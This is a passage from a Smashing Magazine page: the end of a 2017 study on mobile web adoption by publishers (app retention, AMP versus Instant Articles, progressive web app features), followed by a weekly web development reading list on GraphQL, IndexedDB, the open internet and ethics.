According to SimilarWeb’s “State of Mobile Web US 201530” report, roughly 56% of consumer traffic to the leading US websites is now from mobile devices. Given an average click-to-install rate of 13%, an online publisher using a smart app banner and inviting mobile users to install their application would succeed at converting a little over 7% of mobile traffic into app installations.

Data shows that losing 80% of mobile app users is the norm31. Mobile intelligence startup Quettra put together some exclusive data and graphs on retention rates, based on anonymized data points from over 125 million mobile phones, and showed that the average app loses 77% of its daily active users within the first 3 days of installation. Within 30 days, it has lost 90% of daily active users. Within 90 days, over 95%.

Based on our findings, it would appear that online publishers and stores have devised a strategy whereby their responsive websites act mostly as acquisition channels for their mobile apps. However, it’s easy to see how publishers end up investing tens of thousands of dollars, spending months developing and promoting their applications, converting a staggering 1.5% of their existing web traffic into mobile app users after 90 days.

The question then becomes, How do we engage mobile users and get them to use the app on a daily basis?

Accelerated Mobile Pages Outperform Facebook Instant Articles Link

Last year saw both Google and Facebook launch competing initiatives: Accelerated Mobile Pages (AMPs) and Instant Articles, respectively.

According to Google’s own reviews32, some 700,000 domains have published AMP pages, with real benefits to publishers, ranging from a higher return rate among users of mobile search to increased monthly unique visitors and impressions. This is indeed impressive, but we wanted to go beyond the vanity metrics and see the real percentage of websites that have implemented AMP.

After careful examination, we identified that approximately 10% of websites support AMP (close to the 11.6%33 identified in research conducted by Searchmetrics), whereas only a little over 2% have integrated Facebook’s Instant Articles. And though WordPress comes with plugins for both AMP and Instant Articles, it seems that in terms of active installations, AMP is leading 100,000 to 10,000.

We wanted to see how industry experts weigh the pros and cons of AMP and Instant Articles. The general consensus is summarized below:

Pros Cons
Google’s AMP Mobile content loads incredibly fast. Loading time is not a direct ranking factor for organic search results. There is some conjecture that faster-loading websites mean better click-through rates and longer time spent on website.
Mobile content for news websites appears in a special carousel at the top of organic search results. Using AMP involves some work. If your organization is strapped for resources, know that this is more than just flipping a switch.
One of the big ranking factors for mobile organic search results is mobile-friendliness, and you can’t get friendlier than AMP. Not all content works with AMP. For instance, if you have piles of video content, AMP will make the text load faster, but the video will still take a bit to load.
The click-through rate when a page is featured in Google’s “Top Stories” carousel is higher. Back in February 2016, Google pundit Jeff Jarvis stated, “The carousel layout may not always be there, so if that’s your big selling point, don’t get comfortable.”
It’s only for news and blog articles (at least for the moment).
Facebook’s Instant Articles The format enables publishers and content providers to instantly reach a built-in audience of millions when they include their content. The fact that it does not link over to a publisher’s website is a downside, but the benefits of adding content in a format like this are greater if you plan that content appropriately.
It creates an additional revenue stream. Overall revenue per user from Instant Articles might be lower than what publishers would make from ads that appear directly on their website.
Small publishers and content creators get a piece of the substantial time spent in apps, which would otherwise not be available. Integrating Instant Articles involves some work, especially to customize the look and feel of articles.

Because implementing AMP can bring more traffic from organic search results, it’s no wonder that it has become more popular than Instant Articles. Granted, the latter offers access to an additional revenue stream, but that comes at a price — giving up control over users, and giving up on converting them into subscribers.

Early Adopters Of Progressive Web Apps Report Exciting Metrics Link

A lot of attention has been paid to progressive web apps lately, and we wouldn’t miss the chance to analyze how many of the URLs we scrutinized support any of the main characteristics of progressive web apps:

  • HTTPS,
  • Offline mode,
  • Web push notifications,
  • “Add to home screen” prompts.

Progressive web apps are fully supported by Chrome and Opera. Firefox supports nearly all of their features. Microsoft Edge is working on them. The Samsung Internet browser has been making great strides this past year and has shown a strong commitment to progressive web apps, as demonstrated by Samsung’s leadership34 in some of the key standardization work. Apple has not yet fully jumped on the mobile web train: Service workers, a key component for supporting offline mode, are “under consideration”; push notifications and installation to the home screen through a browser-provided prompt are available in some form in Safari, but they are not implemented in standard ways.

This didn’t stop the Washington Post — an early adopter of progressive web app technology — from making it the default mobile experience for its web users after seeing “about 5x engagement35 — page views per visit, number of stories read” on its public-facing beta.

Before getting to the actual results, a few words on the methodology of obtaining the data. We used the Lighthouse36 extension for Chrome. It is an open-source, automated tool for improving the quality of web apps, and it can run as a Chrome extension or from the command line. We used the command line to conduct our study, and we interpreted the JSON that was returned.

First, we found that, of the 10,000 URLs we analyzed (blogs, newspapers, magazines and e-commerce websites), only about 12% support SSL. Not surprisingly, the e-commerce segment scored the highest (25%) in SSL usage. While this number is still low, it will drastically increase throughout 2017, because Google now favors HTTPS page indexing37, and Chrome will soon mark unsecure pages containing password and credit-card input fields as being “Not secure” in the URL bar38.

HTTP Not Secure39

Next, we looked at usage of the manifest.json file, which is considered a good indication that users will be prompted to add the website to their home screen via an app install banner40 (even though they can manually add it to their home screen from the browser’s menu).

As it turns out, 3% of e-commerce websites make use of the manifest file for web applications, with blogs and digital newspapers barely reaching 0.5%. HTTP/2 is also being used mostly on e-commerce websites, although the overall percentage is as low as 4%.

In identifying usage of service workers and push notifications, fewer than 1% show up in the statistics.

According to Google41:

Service workers enable a Progressive Web App to load instantly, regardless of the network state. A service worker is like a client-side proxy, written in JavaScript and puts developers in control of the cache and how to respond to resource requests. By pre-caching key resources, one can eliminate the dependence on the network, ensuring an instant and reliable experience for your users.

The fact that service workers are so poorly implemented on websites nowadays directly affects mobile user engagement, which is a shame because web push notifications reportedly increase engagement by four times, and those users spend twice as long on the websites. As an example, after rolling out its progressive web app, AliExpress improved its conversions for new users across all browsers by 104% and increased its iOS conversions by 82%, despite iOS not supporting the full feature set of progressive web apps.

Progressive web apps are barely seeing the light of day. However, with all of the benefits they promise, one can only hope that we’ll see more of them built in 2017.

Final Notes Link

The main conclusion is that we’re starting to see a more diversified mobile strategy from the publishing industry. No longer are they settling for an application in an app store or a responsive website as the only means of addressing their mobile users. Instead, they’re going for both apps and responsive websites and, in addition, are beginning to throw Facebook’s Instant Articles and Google’s Accelerated Mobile Pages into the mix.

Publishers are not leaving anything to chance. With four mobile channels in which to view for user attention, the quest will be not to find the best-performing channel, but rather to find a sustainable model, with all of the channels complementing each other, together increasing reach, engagement and, ultimately, revenue.

As for a “progressive” future of the mobile web, the early signs are encouraging. Progressive web apps boost mobile engagement for publishers and conversions for e-commerce websites. That’s why we, web developers and designers, should consider implementing them. The app store model is beginning to fail publishers42, and businesses are realizing that it’s no longer the holy grail they’ve been hoping for. We’re beginning to understand that we need to give the mobile web a chance to evolve, to progress beyond questions of format (i.e. fitting the screen) into the full-blown applications that until recently were only available natively via app stores.

(da, yk, al, il)

Footnotes Link

  1. 1 https://webmasters.googleblog.com/2015/04/rolling-out-mobile-friendly-update.html
  2. 2 #responsive-web-design
  3. 3 https://www.smashingmagazine.com/2016/03/googles-mobilegeddon-aftermath-eight-months-better-mobile-web/
  4. 4 https://www.smashingmagazine.com/2016/11/building-shaders-with-babylon-js/#further-reading-on-smashingmag
  5. 5 https://www.smashingmagazine.com/2016/03/googles-mobilegeddon-aftermath-eight-months-better-mobile-web/
  6. 6 https://www.smashingmagazine.com/2016/12/progressive-web-amps/
  7. 7 https://www.smashingmagazine.com/2016/08/a-beginners-guide-to-progressive-web-apps/
  8. 8 https://www.smashingmagazine.com/2015/09/why-performance-matters-the-perception-of-time/
  9. 9 https://splitmetrics.com/blog/whats-a-good-app-store-page-conversion-rate/
  10. 10 http://www.appticles.com
  11. 11 http://www.alexa.com
  12. 12 https://developers.google.com/webmasters/mobile-sites/mobile-seo/#select-config
  13. 13 https://www.smashingmagazine.com/wp-content/uploads/2017/03/google-table-preview-opt.jpg
  14. 14 http://phantomjs.org/
  15. 15 https://github.com/appticles/state-of-mobile-web
  16. 16 https://www.smashingmagazine.com/2016/03/googles-mobilegeddon-aftermath-eight-months-better-mobile-web/
  17. 17 https://www.smashingmagazine.com/wp-content/uploads/2017/03/mobile-configuration-distribution-large-opt.png
  18. 18 https://www.appticles.com
  19. 19 https://www.smashingmagazine.com/wp-content/uploads/2017/03/mobile-configuration-distribution-large-opt.png
  20. 20 https://www.smashingmagazine.com/wp-content/uploads/2017/03/mobile-configuration-distribution-across-segments-large-opt.png
  21. 21 https://www.smashingmagazine.com/wp-content/uploads/2017/03/mobile-configuration-distribution-across-segments-large-opt.png
  22. 22 https://www.smashingmagazine.com/2016/03/googles-mobilegeddon-aftermath-eight-months-better-mobile-web/
  23. 23 https://www.smashingmagazine.com/wp-content/uploads/2017/03/height-vs-page-size-large-opt.png
  24. 24 https://www.smashingmagazine.com/wp-content/uploads/2017/03/height-vs-page-size-large-opt.png
  25. 25 https://www.smashingmagazine.com/2016/03/googles-mobilegeddon-aftermath-eight-months-better-mobile-web/
  26. 26 https://w3techs.com/technologies/details/cm-wordpress/all/all
  27. 27 https://blog.branch.io/click-to-install-conversion-rates
  28. 28 https://www.smashingmagazine.com/wp-content/uploads/2017/03/smart-app-banners-screens-preview-opt.png
  29. 29 https://blog.branch.io
  30. 30 https://www.similarweb.com/corp/the-state-of-mobile-web-in-the-us-2015/
  31. 31 http://andrewchen.co/new-data-shows-why-losing-80-of-your-mobile-users-is-normal-and-that-the-best-apps-do-much-better/
  32. 32 https://amphtml.wordpress.com/2016/10/07/amp-a-year-in-review/
  33. 33 https://www.digitaldoughnut.com/articles/2016/july/how-accelerated-mobile-pages-amp-can-create-value
  34. 34 https://developers.google.com/web/shows/pwa-devsummit/amsterdam-2016/samsung-internets-progressive-web-app-commitment-progressive-web-app-summit-2016
  35. 35 http://www.beet.tv/2016/09/wapopwamarburger.html
  36. 36 https://developers.google.com/web/tools/lighthouse/
  37. 37 https://security.googleblog.com/2015/12/indexing-https-pages-by-default.html
  38. 38 https://security.googleblog.com/2016/09/moving-towards-more-secure-web.html
  39. 39 https://www.smashingmagazine.com/wp-content/uploads/2017/03/http-not-secure-preview-opt.png
  40. 40 https://developers.google.com/web/updates/2015/03/increasing-engagement-with-app-install-banners-in-chrome-for-android
  41. 41 https://developers.google.com/web/progressive-web-apps/
  42. 42 https://wpmobilepack.com/blog/wordpress-road-future-mobile-web-via-progressive-web-apps/

↑ Back to topTweet itShare on Facebook

Web Development Reading List #175: GraphQL, IndexedDB2, And An Open Ethical Internet

by

Web Development Reading List #175: GraphQL, IndexedDB2, And An Open Ethical Internet

With GraphQL, FQL, and IndexedDB2, we have new tools at our fingertips that allow us to build products that are not only more flexible but also faster. With this week’s Web Development Reading List, we’ll dive a bit deeper into these promising technologies and combine this with thoughts about the openness of the internet, ethical choices, and building inclusive products. So without further ado, let’s get started!

Further Reading on SmashingMag: Link

News Link

  • Chrome 57 just hit stable, now the Chrome developer team announced Chrome 58 beta4. It includes IndexedDB2.0 support and improvements to iframe navigation. Among the smaller changes are also auto-pause/resume of video on Android when the window is in the background and the fact that HTTPS is now required for the Web Notifications API.

General Link

  • Matthias Ott points out that it’s about time that we take back control5, reclaim our digital future and rebuild the web so that it, finally, becomes a web for everyone. And with growing surveillance and even bigger data consolidation by a few big private players, it’s now up to us to recognize the errors we make and amend our decisions accordingly to create a better web — a web that is more accessible, more private, and more independent.
  • Quincy Larson wrote an essay about why the future of the open internet and our way of life6 is in our hands. By comparing the history of TV, radio, and telephone, he explains why it’s up to us to prevent that the internet goes through the same cycle of commercialization and privatization as the technologies that came before.
7
The open internet is in danger. Quincy Larson gives an overview of the dangers of commercialization and privatization8 and why it’s up to us to prevent the internet from becoming a walled garden. (Image credit9)

Tools & Workflows Link

  • Loren Sands-Ramshaw wrote a two-step guide on GraphQL (Part 110, Part 211), a relatively new query language that has better performance and is easier to handle as REST.

Security Link

  • The Chrome team concluded an investigation on the Symantec Root Certificate Authority12 and now discusses when and how to distrust the entire authority due to having misissued over 30.000 certificates. If the entity is mistrusted, GeoTrust, Thawte, and other certificate authorities will be affected by the decision as well since they’re operated by Symantec.

Privacy Link

HTML & SVG Link

Toggle buttons15
Heydon Pickering explains what it takes to get toggle buttons right16. (Image credit17)

Work & Life Link

  • Alex Castrounis shares why estimating software development tasks by time and time tracking don’t work and how you can still get pretty accurate estimations18 to calculate the progress and a deadline for a project.

Going Beyond… Link

  • It’s interesting to see that a growing number of people now seem to ask themselves how to do good work, and I think it’s because we realize that current developments are so bad that we as individuals think about what we can do to improve our society again. Mike Monteiro is one of those people who care deeply about ethics19, now he explains why ethics can’t be a side hustle20 and why you can’t shuffle yourself out of responsibility if you’re doing a non-ethical job as your main work. It’s true that you have to start somewhere, and doing simple things in your daily life can already help to improve our society, but, in the end, if you’re getting paid for non-ethical work, you’re actively helping and promoting this work. And nothing can make this undone.

And with that, I’ll close for this week. If you like what I write each week, please support me with a donation21 or share this resource with other people. You can learn more about the costs of the project here22. It’s available via email, RSS and online.

— Anselm

Footnotes Link

  1. 1 https://www.smashingmagazine.com/2014/07/the-wai-forward/
  2. 2 https://www.smashingmagazine.com/2016/11/a-quick-guide-for-designing-better-buttons/
  3. 3 https://www.smashingmagazine.com/2009/06/effective-strategy-to-estimate-time-for-your-design-projects/
  4. 4 https://blog.chromium.org/2017/03/chrome-58-beta-indexeddb-20_21.html?m=1
  5. 5 https://matthiasott.com/articles/going-indie-securing-privacy
  6. 6 https://medium.freecodecamp.com/inside-the-invisible-war-for-the-open-internet-dd31a29a3f08
  7. 7 https://medium.freecodecamp.com/inside-the-invisible-war-for-the-open-internet-dd31a29a3f08
  8. 8 https://medium.freecodecamp.com/inside-the-invisible-war-for-the-open-internet-dd31a29a3f08
  9. 9 https://medium.freecodecamp.com/inside-the-invisible-war-for-the-open-internet-dd31a29a3f08
  10. 10 https://www.compose.com/articles/use-all-the-databases-part-1/
  11. 11 https://www.compose.com/articles/use-all-the-databases-part-2/
  12. 12 https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/eUAKwjihhBs/rpxMXjZHCQAJ
  13. 13 https://motherboard.vice.com/en_us/article/senate-republicans-vote-to-allow-isps-to-sell-your-private-data
  14. 14 http://inclusive-components.club/toggle-button/
  15. 15 http://inclusive-components.club/toggle-button/
  16. 16 http://inclusive-components.club/toggle-button/
  17. 17 http://inclusive-components.club/toggle-button/
  18. 18 http://www.innoarchitech.com/why-software-development-time-estimation-does-not-work-alternative-approaches/
  19. 19 https://www.smashingmagazine.com/2016/11/web-development-reading-list-158/#work-life
  20. 20 https://deardesignstudent.com/ethics-cant-be-a-side-hustle-b9e78c090aee#.8p7pyqrw1
  21. 21 https://wdrl.info/donate
  22. 22 https://wdrl.info/costs/

↑ Back to topTweet itShare on Facebook